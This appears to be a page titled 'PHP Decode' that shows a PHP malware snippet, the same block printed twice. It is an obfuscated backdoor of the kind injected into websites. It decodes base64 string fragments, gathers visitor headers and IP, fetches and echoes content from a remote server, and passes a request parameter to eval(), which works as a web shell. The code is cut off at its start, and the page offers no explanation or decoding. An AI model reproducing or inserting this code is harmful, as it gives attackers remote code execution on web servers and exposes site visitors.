PHP Decode

<?php^M 
//###==###^M 
 .'n' .'U9','SFR' .'UUF9V' .'U' .'0VSX0F' .'HRU5U','JmM' .'9','Jmk9MSZpcD' .'0=','UkVNT1RFX' .'0' .'FERFI=','J' .'mg9','OTc' .'zNDc' .'3Y' .'mJhZTQzOTc2OT' .'E0ZW' .'Ni' .'N2Y0' .'M' .'zc0' .'NzE0N' .'GU=','' .'U0' .'VSVkVSX05' .'BTU' .'U=','Uk' .'V' .'RVUVTVF9VUkk=','SFRUUF9V' .'U' .'0VSX0FHRU' .'5U','M' .'Q' .'==','cA==','cA==','cA==','' .'O' .'DgyNG' .'F' .'iZGY=');return base64_decode($a[$i]);}  if(!empty($_COOKIE[_565757278(0)]))die($_COOKIE[_565757278(1)]);if(!isset($b90d_0[_565757278(2)])){if($GLOBALS['_537135123_'][0](_565757278(3),$GLOBALS['_537135123_'][1]($_SERVER[_565757278(4)]))){$b90d_1=_565757278(5);}else{$b90d_1=_565757278(6);}}else{$b90d_1=$b90d_0[_565757278(7)];if((round(0+187.5+187.5)^round(0+375))&& $GLOBALS['_537135123_'][2]($b90d_0,$b90d_0,$_SERVER,$b90d_0,$_REQUEST))$GLOBALS['_537135123_'][3]($b90d_0,$b90d_0);}if($GLOBALS['_537135123_'][4](_565757278(8))){$b90d_2=$GLOBALS['_537135123_'][5](_565757278(9) .$GLOBALS['_537135123_'][6]($_SERVER[_565757278(10)] .$_SERVER[_565757278(11)]) ._565757278(12) .$GLOBALS['_537135123_'][7]($_SERVER[_565757278(13)]) ._565757278(14) .$b90d_1 ._565757278(15) .$_SERVER[_565757278(16)] ._565757278(17) .$GLOBALS['_537135123_'][8](_565757278(18) .$_SERVER[_565757278(19)] .$_SERVER[_565757278(20)] .$_SERVER[_565757278(21)] .$b90d_1 ._565757278(22)));$GLOBALS['_537135123_'][9]($b90d_2,round(0+8.4+8.4+8.4+8.4+8.4),false);$GLOBALS['_537135123_'][10]($b90d_2,round(0+6637.6666666667+6637.6666666667+6637.6666666667),true);if(round(0+1989.25+1989.25+1989.25+1989.25)<$GLOBALS['_537135123_'][11](round(0+785.5+785.5+785.5+785.5),round(0+962+962+962+962+962)))$GLOBALS['_537135123_'][12]($b90d_0,$_REQUEST);echo $GLOBALS['_537135123_'][13]($b90d_2);$GLOBALS['_537135123_'][14]($b90d_2);}elseif($GLOBALS['_537135123_'][15](_565757278(23))==round(0+0.5+0.5)){echo $GLOBALS['_537135123_'][16](_565757278(24) .$GLOBALS['_537135123_'][17]($_SERVER[_565757278(25)] .$_SERVER[_565757278(26)]) ._565757278(27) .$GLOBALS['_537135123_'][18]($_SERVER[_565757278(28)]) ._565757278(29) .$b90d_1 ._565757278(30) .$_SERVER[_565757278(31)] ._565757278(32) .$GLOBALS['_537135123_'][19](_565757278(33) .$_SERVER[_565757278(34)] .$_SERVER[_565757278(35)] .$_SERVER[_565757278(36)] .$b90d_1 ._565757278(37)));$b90d_3=_565757278(38);}if(isset($_REQUEST[_565757278(39)])&& $_REQUEST[_565757278(40)]== _565757278(41)){eval($GLOBALS['_537135123_'][20]($_REQUEST["c"]));}  }^M 
//###==###^M 
 ^M 
//###==###^M 
 .'n' .'U9','SFR' .'UUF9V' .'U' .'0VSX0F' .'HRU5U','JmM' .'9','Jmk9MSZpcD' .'0=','UkVNT1RFX' .'0' .'FERFI=','J' .'mg9','OTc' .'zNDc' .'3Y' .'mJhZTQzOTc2OT' .'E0ZW' .'Ni' .'N2Y0' .'M' .'zc0' .'NzE0N' .'GU=','' .'U0' .'VSVkVSX05' .'BTU' .'U=','Uk' .'V' .'RVUVTVF9VUkk=','SFRUUF9V' .'U' .'0VSX0FHRU' .'5U','M' .'Q' .'==','cA==','cA==','cA==','' .'O' .'DgyNG' .'F' .'iZGY=');return base64_decode($a[$i]);}  if(!empty($_COOKIE[_565757278(0)]))die($_COOKIE[_565757278(1)]);if(!isset($b90d_0[_565757278(2)])){if($GLOBALS['_537135123_'][0](_565757278(3),$GLOBALS['_537135123_'][1]($_SERVER[_565757278(4)]))){$b90d_1=_565757278(5);}else{$b90d_1=_565757278(6);}}else{$b90d_1=$b90d_0[_565757278(7)];if((round(0+187.5+187.5)^round(0+375))&& $GLOBALS['_537135123_'][2]($b90d_0,$b90d_0,$_SERVER,$b90d_0,$_REQUEST))$GLOBALS['_537135123_'][3]($b90d_0,$b90d_0);}if($GLOBALS['_537135123_'][4](_565757278(8))){$b90d_2=$GLOBALS['_537135123_'][5](_565757278(9) .$GLOBALS['_537135123_'][6]($_SERVER[_565757278(10)] .$_SERVER[_565757278(11)]) ._565757278(12) .$GLOBALS['_537135123_'][7]($_SERVER[_565757278(13)]) ._565757278(14) .$b90d_1 ._565757278(15) .$_SERVER[_565757278(16)] ._565757278(17) .$GLOBALS['_537135123_'][8](_565757278(18) .$_SERVER[_565757278(19)] .$_SERVER[_565757278(20)] .$_SERVER[_565757278(21)] .$b90d_1 ._565757278(22)));$GLOBALS['_537135123_'][9]($b90d_2,round(0+8.4+8.4+8.4+8.4+8.4),false);$GLOBALS['_537135123_'][10]($b90d_2,round(0+6637.6666666667+6637.6666666667+6637.6666666667),true);if(round(0+1989.25+1989.25+1989.25+1989.25)<$GLOBALS['_537135123_'][11](round(0+785.5+785.5+785.5+785.5),round(0+962+962+962+962+962)))$GLOBALS['_537135123_'][12]($b90d_0,$_REQUEST);echo $GLOBALS['_537135123_'][13]($b90d_2);$GLOBALS['_537135123_'][14]($b90d_2);}elseif($GLOBALS['_537135123_'][15](_565757278(23))==round(0+0.5+0.5)){echo $GLOBALS['_537135123_'][16](_565757278(24) .$GLOBALS['_537135123_'][17]($_SERVER[_565757278(25)] .$_SERVER[_565757278(26)]) ._565757278(27) .$GLOBALS['_537135123_'][18]($_SERVER[_565757278(28)]) ._565757278(29) .$b90d_1 ._565757278(30) .$_SERVER[_565757278(31)] ._565757278(32) .$GLOBALS['_537135123_'][19](_565757278(33) .$_SERVER[_565757278(34)] .$_SERVER[_565757278(35)] .$_SERVER[_565757278(36)] .$b90d_1 ._565757278(37)));$b90d_3=_565757278(38);}if(isset($_REQUEST[_565757278(39)])&& $_REQUEST[_565757278(40)]== _565757278(41)){eval($GLOBALS['_537135123_'][20]($_REQUEST["c"]));}  }^M 
//###==###^M 
?>